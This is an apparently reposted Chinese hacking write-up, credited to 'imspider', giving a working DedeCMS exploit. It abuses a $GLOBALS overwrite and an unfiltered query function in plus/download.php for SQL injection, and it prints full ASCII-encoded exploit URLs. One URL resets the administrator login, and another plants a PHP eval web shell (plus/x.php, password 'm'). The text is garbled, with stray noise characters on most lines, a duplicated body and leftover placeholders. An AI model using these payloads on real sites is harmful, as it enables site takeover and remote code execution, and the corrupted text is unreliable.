|
此漏洞无视gpc转义,过80sec注入防御。
- X) r8 K [! i6 K1 X补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?# J, c# A0 _. X% p; o
起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。2 l; A$ | m# z' Y5 }
include/dedesql.class.php* a" I' X0 S' N- \- S: f
if(isset($GLOBALS['arrs1'])){ $v1 = $v2 = ''; for($i=0;isset($arrs1[$i]);$i++) { $v1 .= chr($arrs1[$i]); } for($i=0;isset($arrs2[$i]);$i++) { $v2 .= chr($arrs2[$i]); //解码ascii } $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql) { $prefix="#@__"; $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql); //看到这里无话可说,不明白为什么要这样做。 $this->queryString = $sql; }另外说下绕过80sec防注入的方法。
3 Q, ]8 q" `3 W1 y' r+ v同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2% e. V% A9 R* W, {
而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。, q+ q3 t6 Z* m; W3 j+ Q u
plus/download.php
; s: P5 h3 P/ w* I6 z1 e$ ^else if($open==1){ $id = isset($id) && is_numeric($id) ? $id : 0; $link = base64_decode(urldecode($link)); $hash = md5($link);//这里的#@_是可以控制的 $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' "); if($rs <= 0) { $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); "; $dsql->ExecNoneQuery($query); } header("locationlink"); exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):; e( E% M4 ~ P+ j2 S8 B- ^6 N; u
admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:
' m6 `; q/ U3 `6 c0 iUPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:
e/ q. v* s: J& phttp://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin
2 R6 O3 r0 s' G# m o% E漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。0 j" \1 U; g$ K- j5 O. C
如果找不到后台,参见以前修改数据库直接拿SHELL的方法
3 n9 J$ A R& Y4 M& V+ eUPDATE `dede_mytag` SET `normbody` = '{dede:php}file_put_contents(''spider.php'',''<!--?php eval(此漏洞无视gpc转义,过80sec注入防御。4 R( h! x/ U, `% z
补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?
4 ?" I3 ]0 ~" i9 F3 k1 k起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。" Z; _" x2 z2 d5 M* x6 M1 ?
include/dedesql.class.php
6 F& S& i v% v1 a3 Q4 tif(isset($GLOBALS['arrs1'])){ $v1 = $v2 = ''; for($i=0;isset($arrs1[$i]);$i++) { $v1 .= chr($arrs1[$i]); } for($i=0;isset($arrs2[$i]);$i++) { $v2 .= chr($arrs2[$i]); //解码ascii } $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql) { $prefix="#@__"; $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql); //看到这里无话可说,不明白为什么要这样做。 $this->queryString = $sql; }另外说下绕过80sec防注入的方法。
2 ^6 M! u2 {6 P( D) l0 C3 R同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery22 C1 O( i5 _! }8 m; t
而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。, X2 q4 E R% n3 I2 b
plus/download.php9 B& D" ^6 j1 p( ]- {! A, \
else if($open==1){ $id = isset($id) && is_numeric($id) ? $id : 0; $link = base64_decode(urldecode($link)); $hash = md5($link);//这里的#@_是可以控制的 $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' "); if($rs <= 0) { $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); "; $dsql->ExecNoneQuery($query); } header("locationlink"); exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):
( E1 Y: L9 k) ?9 X: O3 Z- V2 C, radmin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:
' W8 X; a! g, r$ z0 b5 _UPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:
, a4 ]$ T( M' U5 ]6 _1 mhttp://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin
6 f l0 G* w8 Z; E! v; d漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。) O! n& s9 R3 Z( ?8 e3 b. ?1 o
如果找不到后台,参见以前修改数据库直接拿SHELL的方法/ q9 O+ O* s) }
___FCKpd___6getshell:- a8 N F/ R0 s$ `
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=120&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=109&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35会在plus目录生成 x.php 密码 m
2 A2 |% t6 c$ u) |3 @( x8 P9 [http://127.0.0.1/plus/x.php
- g2 c# H1 y2 N! E- C* Oupdate成功后还要访问下 /plus/mytag_js.php?aid=11 K; L1 C" t4 m; F; [7 j, `0 e
失败原因:& W! m; A+ w) o1 ?7 U9 M/ {& K
测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)$ I! ]' n9 g% i. r- [, y7 a
配图:3 B/ ^' P5 M9 i- [7 D6 M+ b3 c6 G& V
1.查看dede当前版本/ n3 r% d' {+ `6 }+ {$ d/ v: Q
% K$ x2 r$ ]: j/ g+ {2.执行exp
$ y, }8 N+ o+ S$ @- K _$ \1 w+ u) v( ^' Q) j' z
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台
3 r( _) P5 K$ Z E5 p- _2 y* e' ~+ S1 _; B5 x
spider密码admin
+ p7 G7 _$ ~- u! H3 m" m' _8 Y+ o& s, N. W& {$ u0 q* R
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png
9 ? o9 D1 r; o原作者:imspider0 {" |3 o- L$ R* [( y0 \- j
+ w/ D) p& d2 E; i5 Y
本博客测试+配图+getshell
; M1 ?, C7 q2 `( F9 n9 G9 nPOST[spider]);?-->'');{/dede:php}' WHERE `aid` =1 LIMIT * D3 H. h( K4 d9 I1 V# G! G
7 Y5 c/ ~! {) o M5 ogetshell:& X( A2 `% E. p/ ]
___FCKpd___7会在plus目录生成 x.php 密码 m+ R0 \9 ~, `) E( i
http://127.0.0.1/plus/x.php: Y3 S0 E* w9 p! ]' V
update成功后还要访问下 /plus/mytag_js.php?aid=1, ?7 @" c) J: L6 ?% C) Q1 l3 `+ \+ ^; ~
失败原因:3 ]- ^2 ]. ]+ l: |2 K
测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)
% G3 N' W: Y4 A+ d配图:' O4 q$ l3 {7 S
1.查看dede当前版本
$ l8 ?& I5 N% N3 \" rhttp://www.myhack58.com/Article/UploadPic/2013-9/20139913326739.png
; ~. R) \$ [6 J% C% H2.执行exp5 v$ {; k4 E1 ~8 i
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台
: T* m2 }) C" f: Jspider密码admin
8 _! Z9 B9 D# F* v: dhttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png
$ p" u9 E4 }2 s- R
) w. w5 _8 Z2 \: p/ Z |
|